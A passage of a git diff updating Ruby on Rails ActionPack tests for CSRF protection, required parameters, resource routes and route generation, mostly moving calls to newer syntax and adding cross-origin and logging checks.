+    @controller.stubs(:valid_authenticity_token?).with{ |_, t| t != @token }.returns(false)
+    @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
     ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
   end
 
   def teardown
-    ActionController::Base.request_forgery_protection_token = nil
+    ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
   end
 
   def test_should_render_form_with_token_tag
     assert_not_blocked do
       get :index
     end
-    assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+    assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
   end
 
   def test_should_render_button_to_with_token_tag
     assert_not_blocked do
       get :show_button
     end
-    assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+    assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
   end
 
   def test_should_render_form_without_token_tag_if_remote
@@ -152,7 +202,7 @@ module RequestForgeryProtectionTests
       assert_not_blocked do
         get :form_for_remote_with_external_token
       end
-      assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
+      assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
     ensure
       ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
     end
@@ -162,21 +212,21 @@ module RequestForgeryProtectionTests
     assert_not_blocked do
       get :form_for_remote_with_external_token
     end
-    assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
+    assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
   end
 
   def test_should_render_form_with_token_tag_if_remote_and_authenticity_token_requested
     assert_not_blocked do
       get :form_for_remote_with_token
     end
-    assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+    assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
   end
 
   def test_should_render_form_with_token_tag_with_authenticity_token_requested
     assert_not_blocked do
       get :form_for_with_token
     end
-    assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+    assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
   end
 
   def test_should_allow_get
@@ -196,7 +246,7 @@ module RequestForgeryProtectionTests
   end
 
   def test_should_not_allow_post_without_token_irrespective_of_format
-    assert_blocked { post :index, :format=>'xml' }
+    assert_blocked { post :index, format: 'xml' }
   end
 
   def test_should_not_allow_patch_without_token
@@ -212,23 +262,23 @@ module RequestForgeryProtectionTests
   end
 
   def test_should_not_allow_xhr_post_without_token
-    assert_blocked { xhr :post, :index }
+    assert_blocked { post :index, xhr: true }
   end
 
   def test_should_allow_post_with_token
-    assert_not_blocked { post :index, :custom_authenticity_token => @token }
+    assert_not_blocked { post :index, params: { custom_authenticity_token: @token } }
   end
 
   def test_should_allow_patch_with_token
-    assert_not_blocked { patch :index, :custom_authenticity_token => @token }
+    assert_not_blocked { patch :index, params: { custom_authenticity_token: @token } }
   end
 
   def test_should_allow_put_with_token
-    assert_not_blocked { put :index, :custom_authenticity_token => @token }
+    assert_not_blocked { put :index, params: { custom_authenticity_token: @token } }
   end
 
   def test_should_allow_delete_with_token
-    assert_not_blocked { delete :index, :custom_authenticity_token => @token }
+    assert_not_blocked { delete :index, params: { custom_authenticity_token: @token } }
   end
 
   def test_should_allow_post_with_token_in_header
@@ -266,6 +316,64 @@ module RequestForgeryProtectionTests
     end
   end
 
+  def test_should_not_warn_if_csrf_logging_disabled
+    old_logger = ActionController::Base.logger
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    ActionController::Base.logger = logger
+    ActionController::Base.log_warning_on_csrf_failure = false
+
+    begin
+      assert_blocked { post :index }
+
+      assert_equal 0, logger.logged(:warn).size
+    ensure
+      ActionController::Base.logger = old_logger
+      ActionController::Base.log_warning_on_csrf_failure = true
+    end
+  end
+
+  def test_should_only_allow_same_origin_js_get_with_xhr_header
+    assert_cross_origin_blocked { get :same_origin_js }
+    assert_cross_origin_blocked { get :same_origin_js, format: 'js' }
+    assert_cross_origin_blocked do
+      @request.accept = 'text/javascript'
+      get :negotiate_same_origin
+    end
+
+    assert_cross_origin_not_blocked { get :same_origin_js, xhr: true }
+    assert_cross_origin_not_blocked { get :same_origin_js, xhr: true, format: 'js'}
+    assert_cross_origin_not_blocked do
+      @request.accept = 'text/javascript'
+      get :negotiate_same_origin, xhr: true
+    end
+  end
+
+  # Allow non-GET requests since GET is all a remote <script> tag can muster.
+  def test_should_allow_non_get_js_without_xhr_header
+    assert_cross_origin_not_blocked { post :same_origin_js, params: { custom_authenticity_token: @token } }
+    assert_cross_origin_not_blocked { post :same_origin_js, params: { format: 'js', custom_authenticity_token: @token } }
+    assert_cross_origin_not_blocked do
+      @request.accept = 'text/javascript'
+      post :negotiate_same_origin, params: { custom_authenticity_token: @token}
+    end
+  end
+
+  def test_should_only_allow_cross_origin_js_get_without_xhr_header_if_protection_disabled
+    assert_cross_origin_not_blocked { get :cross_origin_js }
+    assert_cross_origin_not_blocked { get :cross_origin_js, format: 'js' }
+    assert_cross_origin_not_blocked do
+      @request.accept = 'text/javascript'
+      get :negotiate_cross_origin
+    end
+
+    assert_cross_origin_not_blocked { get :cross_origin_js, xhr: true }
+    assert_cross_origin_not_blocked { get :cross_origin_js, xhr: true, format: 'js' }
+    assert_cross_origin_not_blocked do
+      @request.accept = 'text/javascript'
+      get :negotiate_cross_origin, xhr: true
+    end
+  end
+
   def assert_blocked
     session[:something_like_user_id] = 1
     yield
@@ -277,6 +385,16 @@ module RequestForgeryProtectionTests
     assert_nothing_raised { yield }
     assert_response :success
   end
+
+  def assert_cross_origin_blocked
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      yield
+    end
+  end
+
+  def assert_cross_origin_not_blocked
+    assert_not_blocked { yield }
+  end
 end
 
 # OK let's get our test on
@@ -285,28 +403,30 @@ class RequestForgeryProtectionControllerUsingResetSessionTest < ActionController
   include RequestForgeryProtectionTests
 
   setup do
+    @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
     ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
   end
 
   teardown do
-    ActionController::Base.request_forgery_protection_token = nil
+    ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
   end
 
   test 'should emit a csrf-param meta tag and a csrf-token meta tag' do
-    SecureRandom.stubs(:base64).returns(@token + '<=?')
+    @controller.stubs(:form_authenticity_token).returns(@token + '<=?')
     get :meta
     assert_select 'meta[name=?][content=?]', 'csrf-param', 'custom_authenticity_token'
-    assert_select 'meta[name=?][content=?]', 'csrf-token', 'cf50faa3fe97702ca1ae&lt;=?'
+    assert_select 'meta[name=?]', 'csrf-token'
+    assert_match(/cf50faa3fe97702ca1ae&lt;=\?/, @response.body)
   end
 end
 
-class NullSessionDummyKeyGenerator
-  def generate_key(secret)
-    '03312270731a2ed0d11ed091c2338a06'
+class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase
+  class NullSessionDummyKeyGenerator
+    def generate_key(secret)
+      '03312270731a2ed0d11ed091c2338a06'
+    end
   end
-end
 
-class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase  
   def setup
     @request.env[ActionDispatch::Cookies::GENERATOR_KEY] = NullSessionDummyKeyGenerator.new
   end
@@ -320,6 +440,11 @@ class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController:
     post :encrypted
     assert_response :ok
   end
+
+  test 'should allow reset_session' do
+    post :try_to_reset_session
+    assert_response :ok
+  end
 end
 
 class RequestForgeryProtectionControllerUsingExceptionTest < ActionController::TestCase
@@ -331,6 +456,41 @@ class RequestForgeryProtectionControllerUsingExceptionTest < ActionController::T
   end
 end
 
+class PrependProtectForgeryBaseControllerTest < ActionController::TestCase
+  PrependTrueController = Class.new(PrependProtectForgeryBaseController) do
+    protect_from_forgery prepend: true
+  end
+
+  PrependFalseController = Class.new(PrependProtectForgeryBaseController) do
+    protect_from_forgery prepend: false
+  end
+
+  PrependDefaultController = Class.new(PrependProtectForgeryBaseController) do
+    protect_from_forgery
+  end
+
+  def test_verify_authenticity_token_is_prepended
+    @controller = PrependTrueController.new
+    get :index
+    expected_callback_order = ["verify_authenticity_token", "custom_action"]
+    assert_equal(expected_callback_order, @controller.called_callbacks)
+  end
+
+  def test_verify_authenticity_token_is_not_prepended
+    @controller = PrependFalseController.new
+    get :index
+    expected_callback_order = ["custom_action", "verify_authenticity_token"]
+    assert_equal(expected_callback_order, @controller.called_callbacks)
+  end
+
+  def test_verify_authenticity_token_is_prepended_by_default
+    @controller = PrependDefaultController.new
+    get :index
+    expected_callback_order = ["verify_authenticity_token", "custom_action"]
+    assert_equal(expected_callback_order, @controller.called_callbacks)
+  end
+end
+
 class FreeCookieControllerTest < ActionController::TestCase
   def setup
     @controller = FreeCookieController.new
@@ -365,17 +525,39 @@ end
 
 class CustomAuthenticityParamControllerTest < ActionController::TestCase
   def setup
-    ActionController::Base.request_forgery_protection_token = :custom_token_name
     super
+    @old_logger = ActionController::Base.logger
+    @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    @token = Base64.strict_encode64(SecureRandom.random_bytes(32))
+    @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
+    ActionController::Base.request_forgery_protection_token = @token
   end
 
   def teardown
-    ActionController::Base.request_forgery_protection_token = :authenticity_token
+    ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
     super
   end
 
-  def test_should_allow_custom_token
-    post :index, :custom_token_name => 'foobar'
-    assert_response :ok
+  def test_should_not_warn_if_form_authenticity_param_matches_form_authenticity_token
+    ActionController::Base.logger = @logger
+    @controller.stubs(:valid_authenticity_token?).returns(:true)
+
+    begin
+      post :index, params: { custom_token_name: 'foobar' }
+      assert_equal 0, @logger.logged(:warn).size
+    ensure
+      ActionController::Base.logger = @old_logger
+    end
+  end
+
+  def test_should_warn_if_form_authenticity_param_does_not_match_form_authenticity_token
+    ActionController::Base.logger = @logger
+
+    begin
+      post :index, params: { custom_token_name: 'bazqux' }
+      assert_equal 1, @logger.logged(:warn).size
+    ensure
+      ActionController::Base.logger = @old_logger
+    end
   end
 end
diff --git a/actionpack/test/controller/required_params_test.rb b/actionpack/test/controller/required_params_test.rb
index 343d57c300..a901e56332 100644
--- a/actionpack/test/controller/required_params_test.rb
+++ b/actionpack/test/controller/required_params_test.rb
@@ -12,16 +12,40 @@ class ActionControllerRequiredParamsTest < ActionController::TestCase
 
   test "missing required parameters will raise exception" do
     assert_raise ActionController::ParameterMissing do
-      post :create, { magazine: { name: "Mjallo!" } }
+      post :create, params: { magazine: { name: "Mjallo!" } }
     end
 
     assert_raise ActionController::ParameterMissing do
-      post :create, { book: { title: "Mjallo!" } }
+      post :create, params: { book: { title: "Mjallo!" } }
     end
   end
 
   test "required parameters that are present will not raise" do
-    post :create, { book: { name: "Mjallo!" } }
+    post :create, params: { book: { name: "Mjallo!" } }
     assert_response :ok
   end
+
+  test "required parameters with false value will not raise" do
+    post :create, params: { book: { name: false } }
+    assert_response :ok
+  end
+end
+
+class ParametersRequireTest < ActiveSupport::TestCase
+
+  test "required parameters should accept and return false value" do
+    assert_equal(false, ActionController::Parameters.new(person: false).require(:person))
+  end
+
+  test "required parameters must not be nil" do
+    assert_raises(ActionController::ParameterMissing) do
+      ActionController::Parameters.new(person: nil).require(:person)
+    end
+  end
+
+  test "required parameters must not be empty" do
+    assert_raises(ActionController::ParameterMissing) do
+      ActionController::Parameters.new(person: {}).require(:person)
+    end
+  end
 end
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
index 9aea7e860a..02e7614ba2 100644
--- a/actionpack/test/controller/resources_test.rb
+++ b/actionpack/test/controller/resources_test.rb
@@ -4,6 +4,7 @@ require 'active_support/core_ext/object/with_options'
 require 'active_support/core_ext/array/extract_options'
 
 class ResourcesTest < ActionController::TestCase
+
   def test_default_restful_routes
     with_restful_routing :messages do
       assert_simply_restful_for :messages
@@ -42,11 +43,11 @@ class ResourcesTest < ActionController::TestCase
           :member => member_methods,
           :path_names => path_names do |options|
 
-        collection_methods.keys.each do |action|
+        collection_methods.each_key do |action|
           assert_named_route "/messages/#{path_names[action] || action}", "#{action}_messages_path", :action => action
         end
 
-        member_methods.keys.each do |action|
+        member_methods.each_key do |action|
           assert_named_route "/messages/1/#{path_names[action] || action}", "#{action}_message_path", :action => action, :id => "1"
         end
 
@@ -149,7 +150,7 @@ class ResourcesTest < ActionController::TestCase
       end
 
       assert_restful_named_routes_for :messages do |options|
-        actions.keys.each do |action|
+        actions.each_key do |action|
           assert_named_route "/messages/#{action}", "#{action}_messages_path", :action => action
         end
       end
@@ -179,7 +180,7 @@ class ResourcesTest < ActionController::TestCase
       end
 
       assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        actions.keys.each do |action|
+        actions.each_key do |action|
           assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
         end
       end
@@ -206,7 +207,7 @@ class ResourcesTest < ActionController::TestCase
       end
 
       assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        actions.keys.each do |action|
+        actions.each_key do |action|
           assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
         end
       end
@@ -236,7 +237,7 @@ class ResourcesTest < ActionController::TestCase
       end
 
       assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        actions.keys.each do |action|
+        actions.each_key do |action|
           assert_named_route "/threads/1/messages/#{action}.xml", "#{action}_thread_messages_path", :action => action, :format => 'xml'
         end
       end
@@ -1004,7 +1005,7 @@ class ResourcesTest < ActionController::TestCase
         end
       end
 
-      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destory], [], 'products/1/images')
+      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
       assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
     end
   end
@@ -1183,10 +1184,10 @@ class ResourcesTest < ActionController::TestCase
       end
 
       @controller = "#{options[:options][:controller].camelize}Controller".constantize.new
-      @controller.singleton_class.send(:include, @routes.url_helpers)
+      @controller.singleton_class.include(@routes.url_helpers)
       @request    = ActionController::TestRequest.new
       @response   = ActionController::TestResponse.new
-      get :index, options[:options]
+      get :index, params: options[:options]
       options[:options].delete :action
 
       path = "#{options[:as] || controller_name}"
@@ -1253,10 +1254,10 @@ class ResourcesTest < ActionController::TestCase
     def assert_singleton_named_routes_for(singleton_name, options = {})
       (options[:options] ||= {})[:controller] ||= singleton_name.to_s.pluralize
       @controller = "#{options[:options][:controller].camelize}Controller".constantize.new
-      @controller.singleton_class.send(:include, @routes.url_helpers)
+      @controller.singleton_class.include(@routes.url_helpers)
       @request    = ActionController::TestRequest.new
       @response   = ActionController::TestResponse.new
-      get :show, options[:options]
+      get :show, params: options[:options]
       options[:options].delete :action
 
       full_path = "/#{options[:path_prefix]}#{options[:as] || singleton_name}"
@@ -1320,6 +1321,8 @@ class ResourcesTest < ActionController::TestCase
         assert_recognizes options, path_options
       elsif Array(not_allowed).include?(action)
         assert_not_recognizes options, path_options
+      else
+        raise Assertion, 'Invalid Action has passed'
       end
     end
 
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index f735564305..2d08987ca6 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -1,7 +1,7 @@
-# encoding: utf-8
 require 'abstract_unit'
 require 'controller/fake_controllers'
 require 'active_support/core_ext/object/with_options'
+require 'active_support/core_ext/object/json'
 
 class MilestonesController < ActionController::Base
   def index() head :ok end
@@ -76,46 +76,47 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
   include ActionDispatch::RoutingVerbs
 
   attr_reader :rs
+  attr_accessor :controller
   alias :routes :rs
 
   def setup
-    @rs       = ::ActionDispatch::Routing::RouteSet.new
+    @rs = make_set
     @response = nil
   end
 
   def test_symbols_with_dashes
     rs.draw do
       get '/:artist/:song-omg', :to => lambda { |env|
-        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
         [200, {}, [resp]]
       }
     end
 
-    hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+    hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/faithfully-omg'))
     assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
   end
 
   def test_id_with_dash
     rs.draw do
       get '/journey/:id', :to => lambda { |env|
-        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
         [200, {}, [resp]]
       }
     end
 
-    hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+    hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/faithfully-omg'))
     assert_equal({"id"=>"faithfully-omg"}, hash)
   end
 
   def test_dash_with_custom_regexp
     rs.draw do
       get '/:artist/:song-omg', :constraints => { :song => /\d+/ }, :to => lambda { |env|
-        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
         [200, {}, [resp]]
       }
     end
 
-    hash = JSON.load get(URI('http://example.org/journey/123-omg'))
+    hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/123-omg'))
     assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
     assert_equal 'Not Found', get(URI('http://example.org/journey/faithfully-omg'))
   end
@@ -123,24 +124,24 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
   def test_pre_dash
     rs.draw do
       get '/:artist/omg-:song', :to => lambda { |env|
-        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
         [200, {}, [resp]]
       }
     end
 
-    hash = JSON.load get(URI('http://example.org/journey/omg-faithfully'))
+    hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/omg-faithfully'))
     assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
   end
 
   def test_pre_dash_with_custom_regexp
     rs.draw do
       get '/:artist/omg-:song', :constraints => { :song => /\d+/ }, :to => lambda { |env|
-        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
         [200, {}, [resp]]
       }
     end
 
-    hash = JSON.load get(URI('http://example.org/journey/omg-123'))
+    hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/omg-123'))
     assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
     assert_equal 'Not Found', get(URI('http://example.org/journey/omg-faithfully'))
   end
@@ -160,14 +161,14 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
   def test_star_paths_are_greedy_but_not_too_much
     rs.draw do
       get "/*path", :to => lambda { |env|
-        x = JSON.dump env["action_dispatch.request.path_parameters"]
+        x = ActiveSupport::JSON.encode env["action_dispatch.request.path_parameters"]
         [200, {}, [x]]
       }
     end
 
     expected = { "path" => "foo/bar", "format" => "html" }
     u = URI('http://example.org/foo/bar.html')
-    assert_equal expected, JSON.parse(get(u))
+    assert_equal expected, ActiveSupport::JSON.decode(get(u))
   end
 
   def test_optional_star_paths_are_greedy
@@ -185,7 +186,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
   def test_optional_star_paths_are_greedy_but_not_too_much
     rs.draw do
       get "/(*filters)", :to => lambda { |env|
-        x = JSON.dump env["action_dispatch.request.path_parameters"]
+        x = ActiveSupport::JSON.encode env["action_dispatch.request.path_parameters"]
         [200, {}, [x]]
       }
     end
@@ -193,7 +194,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
     expected = { "filters" => "ne_27.065938,-80.6092/sw_25.489856,-82",
                  "format"  => "542794" }
     u = URI('http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794')
-    assert_equal expected, JSON.parse(get(u))
+    assert_equal expected, ActiveSupport::JSON.decode(get(u))
   end
 
   def test_regexp_precidence
@@ -242,6 +243,32 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
     assert_equal 'clients', get(URI('http://clients.example.org/'))
   end
 
+  def test_scoped_lambda
+    scope_called = false
+    rs.draw do
+      scope '/foo', :constraints => lambda { |req| scope_called = true } do
+        get '/', :to => lambda { |env| [200, {}, %w{default}] }
+      end
+    end
+
+    assert_equal 'default', get(URI('http://www.example.org/foo/'))
+    assert scope_called, "scope constraint should be called"
+  end
+
+  def test_scoped_lambda_with_get_lambda
+    inner_called = false
+
+    rs.draw do
+      scope '/foo', :constraints => lambda { |req| flunk "should not be called" } do
+        get '/', :constraints    => lambda { |req| inner_called = true },
+                 :to             => lambda { |env| [200, {}, %w{default}] }
+      end
+    end
+
+    assert_equal 'default', get(URI('http://www.example.org/foo/'))
+    assert inner_called, "inner constraint should be called"
+  end
+
   def test_empty_string_match
     rs.draw do
       get '/:username', :constraints => { :username => /[^\/]+/ },
@@ -290,11 +317,16 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
 
     assert_equal '/admin/user/show/10', url_for(rs, { :controller => 'admin/user', :action => 'show', :id => 10 })
 
-    assert_equal '/admin/user/show',    url_for(rs, { :action => 'show' }, { :controller => 'admin/user', :action => 'list', :id => '10' })
-    assert_equal '/admin/user/list/10', url_for(rs, {}, { :controller => 'admin/user', :action => 'list', :id => '10' })
+    get URI('http://test.host/admin/user/list/10')
 
-    assert_equal '/admin/stuff', url_for(rs, { :controller => 'stuff' }, { :controller => 'admin/user', :action => 'list', :id => '10' })
-    assert_equal '/stuff',       url_for(rs, { :controller => '/stuff' }, { :controller => 'admin/user', :action => 'list', :id => '10' })
+    assert_equal({ :controller => 'admin/user', :action => 'list', :id => '10' },
+                 controller.request.path_parameters)
+
+    assert_equal '/admin/user/show',    controller.url_for({ :action => 'show', :only_path => true })
+    assert_equal '/admin/user/list/10', controller.url_for({:only_path => true})
+
+    assert_equal '/admin/stuff', controller.url_for({ :controller => 'stuff', :only_path => true })
+    assert_equal '/stuff', controller.url_for({ :controller => '/stuff', :only_path => true })
   end
 
   def test_ignores_leading_slash
@@ -418,14 +450,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
       get 'page' => 'content#show_page', :as => 'pages', :host => 'foo.com'
     end
     routes = setup_for_named_route
-    routes.expects(:url_for).with({
-      :host => 'foo.com',
-      :only_path => false,
-      :controller => 'content',
-      :action => 'show_page',
-      :use_route => 'pages'
-    }).once
-    routes.send(:pages_url)
+    assert_equal "http://foo.com/page", routes.pages_url
   end
 
   def setup_for_named_route(options = {})
@@ -498,9 +523,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
   def test_changing_controller
     rs.draw { get ':controller/:action/:id' }
 
+    get URI('http://test.host/admin/user/index/10')
+
     assert_equal '/admin/stuff/show/10',
-        url_for(rs, {:controller => 'stuff', :action => 'show', :id => 10},
-                    {:controller => 'admin/user', :action => 'index'})
+        controller.url_for({:controller => 'stuff', :action => 'show', :id => 10, :only_path => true})
   end
 
   def test_paths_escaped
@@ -559,8 +585,12 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
       get '*path' => 'content#show_file'
     end
 
+    get URI('http://test.host/pages/boo')
+    assert_equal({:controller=>"content", :action=>"show_file", :path=>"pages/boo"},
+                 controller.request.path_parameters)
+
     assert_equal '/pages/boo',
-        url_for(rs, {}, { :controller => 'content', :action => 'show_file', :path => %w(pages boo) })
+      controller.url_for(:only_path => true)
   end
 
   def test_backwards
@@ -569,7 +599,8 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
       get ':controller(/:action(/:id))'
     end
 
-    assert_equal '/page/20',   url_for(rs, { :id => 20 }, { :controller => 'pages', :action => 'show' })
+    get URI('http://test.host/pages/show')
+    assert_equal '/page/20',   controller.url_for({ :id => 20, :only_path => true })
     assert_equal '/page/20',   url_for(rs, { :controller => 'pages', :id => 20, :action => 'show' })
     assert_equal '/pages/boo', url_for(rs, { :controller => 'pages', :action => 'boo' })
   end
@@ -610,7 +641,8 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
 
   def test_action_expiry
     rs.draw { get ':controller(/:action(/:id))' }
-    assert_equal '/content', url_for(rs, { :controller => 'content' }, { :controller => 'content', :action => 'show' })
+    get URI('http://test.host/content/show')
+    assert_equal '/content', controller.url_for(:controller => 'content', :only_path => true)
   end
 
   def test_requirement_should_prevent_optional_id
@@ -653,14 +685,18 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
     assert_equal '/pages/2005/6/12',
       url_for(rs, { :controller => 'content', :action => 'list_pages', :year => 2005, :month => 6, :day => 12 })
 
+    get URI('http://test.host/pages/2005/6/12')
+    assert_equal({ :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' },
+                controller.request.path_parameters)
+
     assert_equal '/pages/2005/6/4',
-      url_for(rs, { :day => 4 },   { :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' })
+      controller.url_for({ :day => 4, :only_path => true })
 
     assert_equal '/pages/2005/6',
-      url_for(rs, { :day => nil }, { :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' })
+      controller.url_for({ :day => nil, :only_path => true })
 
     assert_equal '/pages/2005',
-      url_for(rs, { :day => nil, :month => nil }, { :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' })
+      controller.url_for({ :day => nil, :month => nil, :only_path => true })
   end
 
   def test_root_url_generation_with_controller_and_action
@@ -818,9 +854,15 @@ end
 
 class RouteSetTest < ActiveSupport::TestCase
   include RoutingTestHelpers
+  include ActionDispatch::RoutingVerbs
 
-  def set
-    @set ||= ROUTING::RouteSet.new
+  attr_reader :set
+  alias :routes :set
+  attr_accessor :controller
+
+  def setup
+    super
+    @set = make_set
   end
 
   def request
@@ -841,13 +883,13 @@ class RouteSetTest < ActiveSupport::TestCase
     set.draw { get ':controller/(:action(/:id))' }
     path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
     assert_equal "/foo/bar/15", path
-    assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+    assert_equal %w(that this), extras.map(&:to_s).sort
   end
 
   def test_extra_keys
     set.draw { get ':controller/:action/:id' }
     extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
-    assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+    assert_equal %w(that this), extras.map(&:to_s).sort
   end
 
   def test_generate_extras_not_first
@@ -857,7 +899,7 @@ class RouteSetTest < ActiveSupport::TestCase
     end
     path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
     assert_equal "/foo/bar/15", path
-    assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+    assert_equal %w(that this), extras.map(&:to_s).sort
   end
 
   def test_generate_not_first
@@ -875,7 +917,7 @@ class RouteSetTest < ActiveSupport::TestCase
       get ':controller/:action/:id'
     end
     extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
-    assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+    assert_equal %w(that this), extras.map(&:to_s).sort
   end
 
   def test_draw
@@ -921,7 +963,8 @@ class RouteSetTest < ActiveSupport::TestCase
       get '/admin/users' => 'admin/users#index', :as => "users"
     end
 
-    MockController.build(set.url_helpers).new
+    get URI('http://test.host/people')
+    controller
   end
 
   def test_named_route_url_method
@@ -957,6 +1000,9 @@ class RouteSetTest < ActiveSupport::TestCase
 
     assert_equal "http://test.host/people?baz=bar#location",
       controller.send(:index_url, :baz => "bar", :anchor => 'location')
+
+    assert_equal "http://test.host/people", controller.send(:index_url, anchor: nil)
+    assert_equal "http://test.host/people", controller.send(:index_url, anchor: false)
   end
 
   def test_named_route_url_method_with_port
@@ -1018,12 +1064,12 @@ class RouteSetTest < ActiveSupport::TestCase
       get '/:controller(/:action(/:id))'
     end
 
-    assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages'))
-    assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages/index'))
-    assert_equal({:controller => 'pages', :action => 'list'}, set.recognize_path('/pages/list'))
+    assert_equal({:controller => 'pages', :action => 'index'}, request_path_params('/pages'))
+    assert_equal({:controller => 'pages', :action => 'index'}, request_path_params('/pages/index'))
+    assert_equal({:controller => 'pages', :action => 'list'}, request_path_params('/pages/list'))
 
-    assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/pages/show/10'))
-    assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+    assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, request_path_params('/pages/show/10'))
+    assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, request_path_params('/page/10'))
   end
 
   def test_route_constraints_on_request_object_with_anchors_are_valid
@@ -1075,9 +1121,7 @@ class RouteSetTest < ActiveSupport::TestCase
       get    "/people" => "missing#index"
     end
 
-    assert_raise(ActionController::RoutingError) {
-      set.recognize_path("/people", :method => :get)
-    }
+    assert_raises(ActionController::RoutingError) { request_path_params '/people' }
   end
 
   def test_recognize_with_encoded_id_and_regex
@@ -1085,8 +1129,8 @@ class RouteSetTest < ActiveSupport::TestCase
